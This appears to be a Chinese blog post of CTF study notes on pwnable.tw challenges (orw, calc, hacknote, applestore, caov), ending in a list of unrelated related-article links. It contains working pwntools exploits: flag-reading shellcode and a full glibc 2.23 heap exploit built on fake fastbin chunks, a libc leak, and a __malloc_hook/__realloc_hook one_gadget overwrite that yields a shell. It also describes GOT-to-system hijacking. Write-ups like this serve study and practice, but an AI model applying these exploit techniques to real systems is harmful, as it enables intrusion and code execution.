orw:发现写shellcode的新大陆

from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:gdb.attach(p)shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp',0)
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()

cal:scanf()的bug

使用scanf("")读取数字时,当输入为 ‘+’ 或者 ‘-’,读取数据,不会改变栈空间中的数据,但是会跳过,不再将 '-' , '+' 放入缓存区,而输入其他非法字符(如)时,由于不能识别读取,最一直储存在缓存区,导致始终无法向后读取,导致无效读入

hacknote:all_in_one 获得各种版本的libc,patchelf 强制修改elf文件的libc与ld,gdb加载符号表

使用all_in_one 下载libc后,会自动下载.debug 文件,并放在相应的文件夹下,

patchelf 首先修改文件的ld.so,patchelf --set-interpreter ....../(目标ld.**.so)filename

然后修改 libc加载,lld 查看文件原来的加载libc.so的搜索路径 ,

patchelf --replace-needed (原路径) (目标路径/libc.**.so)filename

malloc申请到内存后,返回的不是chunk的首地址,前8字节用于储存chunk信息,chunk+8开始是用户数据,free后加入fastbins,连续申请的两块内存不会合并

applestore:

如何获取栈地址:libc中保留的全局变量environ ,获得libc基址后,利用LibcSearcher工具,environ = libc_base +libc.dump('__environ'),environ保留了一个栈中的地址,gdb调试可以看到其与我们可以利用地址的偏移量。

修改GOT表项,将atoi改为system,read读取时,输入system的地址(这是才完成修改),因为函数用栈传参,将system的参数binsh也写在system的后面,

caov:

c++ ,x64程序,glibc2.23

源码C++就是个坑,

Data operator=(const Data &rhs){key = new char[strlen(rhs.key)+1];strcpy(key, rhs.key);value = rhs.value;change_count = rhs.change_count;year  = rhs.year;month = rhs.month;day   = rhs.day;hour  = rhs.hour;min   = rhs.min;sec   = rhs.sec;}//正确的写法是
Data operator = (const Data &rhs){Data ret;        //use ret to copy rhs··· ···return ret;}

问题在于源码中类的构造函数定义 :重载 = 时没有返回引用,存在一个临时对象,通过IDA分析出这个类指针没有初始化,而且存在于栈中,delete_data((__int64)v4)所在函数调用前,调用一个读入字符串的函数,而且是将数据读入到栈中,在转存到bss中。那么通过查看栈结构发现,只要在读入字符串时,数据超过0x60字节,就可以覆盖到v4,实现任意地址的free。

于是乎,就可以利用fastbins attack,实现任意地址写,首先控制DATA,通过伪造一个chunk,替换掉DATA所保存的chunk指针,可以实现任意地址读,泄露出libc的基地址。这里实际操作的时候有几个注意点:1,伪造一个吨的同时,要伪造他的下一个fake chunk 的size,绕过free的检查,2,将任意地址写入fastbins的时候,如果该地址所对应的“chunk”的size不合法就无法申请并完成写入数据。就比如DATA,这里改写DATA,利用了DATA前面的内容,

利用stderr伪造一个chunk,大小为0x7f

这样我们将DATA控制为NAME所在的位置,控制好name,就可以实现key的输出

接下来同样的手法修改malloc_hook:

劫持malloc_hook:

malloc:
if ( _malloc_hook )return _malloc_hook(a1, retaddr);

执行malloc时,如果_malloc_hook不为空就执行其目标函数,

同样的也有realloc

if ( _realloc_hook )return _realloc_hook(a1, a2, retaddr);

一般来说,通过错位覆盖改写__malloc_hook为后门函数的地址或者one_gadget就可以,但是one_gadget的使用需要满足一些条件,而往往这些条件难以满足,尤其是寄存器的值,这个时候往往要选择栈的一些条件,但是通常不可行。

此时就需要realloc调栈大法。

.text:0000000000083B10 realloc         proc near               ; CODE XREF: _realloc↑j
.text:0000000000083B10                                         ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:0000000000083B10
.text:0000000000083B10 var_60          = qword ptr -60h
.text:0000000000083B10 var_58          = byte ptr -58h
.text:0000000000083B10 var_48          = byte ptr -48h
.text:0000000000083B10
.text:0000000000083B10 ; __unwind {
.text:0000000000083B10                 push    r15             ; Alternative name is '__libc_realloc'
.text:0000000000083B12                 push    r14
.text:0000000000083B14                 push    r13
.text:0000000000083B16                 push    r12
.text:0000000000083B18                 mov     r13, rsi
.text:0000000000083B1B                 push    rbp
.text:0000000000083B1C                 push    rbx
.text:0000000000083B1D                 mov     rbx, rdi
.text:0000000000083B20                 sub     rsp, 38h
.text:0000000000083B24 ; 25:   if ( _realloc_hook )
.text:0000000000083B24                 mov     rax, cs:__realloc_hook_ptr
.text:0000000000083B2B                 mov     rax, [rax]
.text:0000000000083B2E                 test    rax, rax
.text:0000000000083B31                 jnz     loc_83D38

进行了6次入栈操作,可以对站的结构进行调整,然后覆盖__realloc_hook为后门函数或者one_gadget地址(执行流程malloc--->__malloc_hook(realloc +X )--->__realloc_hook(shell))X是控制入栈顺序而选择的偏移量,详见反汇编代码。为了确保可以满足one_gadget的条件,通过gdb调试查看栈的情况,其实可以先将one_gadget设置为0xcafebabedeadbeef,这是gdb必挂的一个地址,此时就可以查看站的情况,对realloc的地址进行调整。

from pwn import *
#context.log_level = 'debug'i =0
if i==0:r=process('./caov')elf = ELF('./caov')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')one_gadget = 0x4527amalloc_hook = 0x3c4b10realloc_hook =0x7f2e9ff42b10-0x7f2e9fb7e000
else :r=remote("chall.pwnable.tw", 10306)elf = ELF('./caov')libc = ELF('./libc_64.so.6')malloc_hook = 0x3c3b10realloc_hook = 0x3c3b08one_gadget = 0x45260
DATA = 0x6032A0
NAME = 0x6032C0read_got = elf.got['read']
printf_got = elf.got['printf']print("printf_got = ",hex(printf_got))
print("sysmbols = ",hex(libc.symbols['printf']))def setname(name):r.recv()r.sendline(name)def init(name,key,value):setname(name)r.sendlineafter("key: ",key)r.recv()r.sendline(str(value))def show():r.sendline('1')def edit(name,length,key):r.recv() r.sendline('2')setname(name)r.sendlineafter("length: ",str(length))r.sendline(key)r.recv()r.sendline("9")fake1 = p64(0) + p64(0x71)+p64(0)+p64(0) +p64(0x71)
fake1+= p64(0)*8  + p64(0)*2+p64(0x21) + p64(0)*2 +'\x21\x00'init(fake1,'a'*0x20,9)#gdb.attach(r,'b *0x00040159F')
fake2 = p64(0) + p64(0x71)+p64(DATA-0x23+8) +p64(0)+p64(0x71)
fake2+= p64(0)*7+p64(NAME+0x10)
edit(fake2,9,'a'*6)fake3 = p64(0) + p64(0x71)+p64(DATA-0x23+8) +p64(0)+p64(0x71)
fake3+= p64(0)*7+p64(0)
edit(fake3,0x60,'a'*0x10)fake4 = p64(0)*3 +p64(0x41)+p64(printf_got) +p64(9)
fake4 +=p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
key = p64(0)+p64((NAME+0x20)*0x1000000)
edit(fake4,0x60,key)show()r.recvuntil("data :\nKey: ")
printf_addr=u64(r.recv(6).ljust(8,'\x00'))
print("addr :",hex(printf_addr))
print("addr in libc :",hex(libc.symbols["printf"]))
lib_base = printf_addr - libc.symbols["printf"]
malloc_hook +=lib_base
realloc_hook += lib_base
realloc = lib_base + libc.symbols["realloc"]
onegadget = one_gadget + lib_base#onegadget = 0xcafebabedeadbeefprint("malloc_hook :",hex(malloc_hook),"  -----(-0x23)---->",hex(malloc_hook-0x23))
print("one_gadget :",hex(onegadget))#gdb.attach(r,'b realloc')
fake5 =p64(0) +p64(0x71)+p64(malloc_hook-0x23)+p64(0x41)+p64(NAME+0x10) +p64(9)
fake5 +=p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
fake5 +=p64(0)*2+p64(NAME+0x10)
key = p64(malloc_hook-0x23) +p64(0x41)
print("delete the fake")
edit(fake5,0x20,key)fake6 = p64(0) +p64(0x71)+p64(malloc_hook-0x23)+p64(0x41)+p64(NAME+0x10) +p64(9)
fake6+= p64(3) +p64(0x2000007e6)+p64(0x0000001400000014)+p64(0x000000280000002f)
fake6+=p64(0)*3
print("get the fake ,provide the aim")
edit(fake6,0x60,'\x00')#gdb.attach(r,'b malloc')pad1 = lib_base+3945056
pad2 = lib_base+548512
pad3 = lib_base+547440
offset = 0x7f0000000000key = p64(0)+'\x00'*3
key +=p64(onegadget)+p64(realloc)
#key +=p64(0)+p64(onegadget)
print("edit the aim")
edit('\x00',0x20,"cccc")
#gdb.attach(r,'b realloc')
edit(fake6,0x60,key)#gdb.attach(r)
#r.recv()r.interactive()

学习笔记lalala相关推荐

  1. 原生JS零魂之问(上)学习笔记‍

    作为一个普通的JS初学者,从神三元大佬的知识梳理文章中受益匪浅,写下我的学习笔记吧. JS数据类型 function test(person) {person.age = 26person = {na ...

  2. python学习笔记4(模块

    python学习笔记4(模块) 一.模块 1.1 import语句 1.2 __name__属性 1.3 dir()函数 1.4 包 2.1 导入特定模块: 二.输入与输出 2.1 format使用 ...

  3. Python GUI_Tinkter学习笔记

    Tinkter学习笔记 1_GUI编程和tinkter介绍 2_PEP8编码规范 _窗口大小和位置 3_GUI编程整体描述_常用组件汇总 4_GUI程序的经典面向对象写法 5_Label组件 _Tki ...

  4. PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call

    您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...

  5. 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  6. 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移

    暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...

  7. 2020年Yann Lecun深度学习笔记(下)

    2020年Yann Lecun深度学习笔记(下)

  8. 2020年Yann Lecun深度学习笔记(上)

    2020年Yann Lecun深度学习笔记(上)

  9. 知识图谱学习笔记(1)

    知识图谱学习笔记第一部分,包含RDF介绍,以及Jena RDF API使用 知识图谱的基石:RDF RDF(Resource Description Framework),即资源描述框架,其本质是一个 ...

最新文章

  1. WPF数据绑定、多个元素
  2. 手写简版spring --10--容器事件和事件监听器
  3. Firefox开发者工具里的CSS Flexbox Inspector
  4. 哈尔滨有线电视频道表
  5. 面试了一个31岁程序员,让我有所触动
  6. Android模拟器——Windows上比较适合王者荣耀的是腾讯手游助手
  7. Linux 快捷键记录栏
  8. 倍福plc的型号_倍福plc编程软件下载-倍福plc软件(beckhoff twincat plc)下载v3.1 最新版-当易网...
  9. Rhino入门教程---莫比乌斯环建模
  10. ICM20602互补滤波
  11. ltm4650_LTM4650IY-1APBF_代理全新进口【linear】现货商
  12. 深度强化学习-Q-learning解决悬崖寻路问题-笔记(三)
  13. 【2021-09-16】最右app之websign
  14. 多媒体的计算机系统,多媒体计算机系统().PPT
  15. 企业管理中育人的一些心得
  16. D3.js实现带动画效果的柱状图
  17. 廖雪峰Git学习笔记(上)
  18. 衰老研究的大问题:百岁老人的长寿秘密是什么?
  19. 哥德巴赫猜想计算机验证进展,哥德巴赫猜想的最新进展,不知道下文证明的是否正确,求验证...
  20. jpa配置之ddl-auto属性

热门文章

  1. AI视觉分析技术在路面裂缝坑洞检测识别中应用
  2. pygame小游戏-------FlappyBird像素鸟的实现
  3. 使用Piwigo管理您的照片
  4. 计算机网络与网络营销的关联性,网络营销:网络营销的特点列举及延伸解析
  5. 高送转预测 -- 逻辑回归与支持向量机
  6. pixhawk飞控小车倒车_Pixhawk 系列
  7. [文本纠错] pycorrector框架测试
  8. 解决win10上部署私库被其他机器拉取提示:no rout to host 错误问题
  9. jq 批量删除 php,PHP基础班初学心得:用JQ实现表单的全选、反选、取消和删除功能...
  10. 透明、无窗口的Flash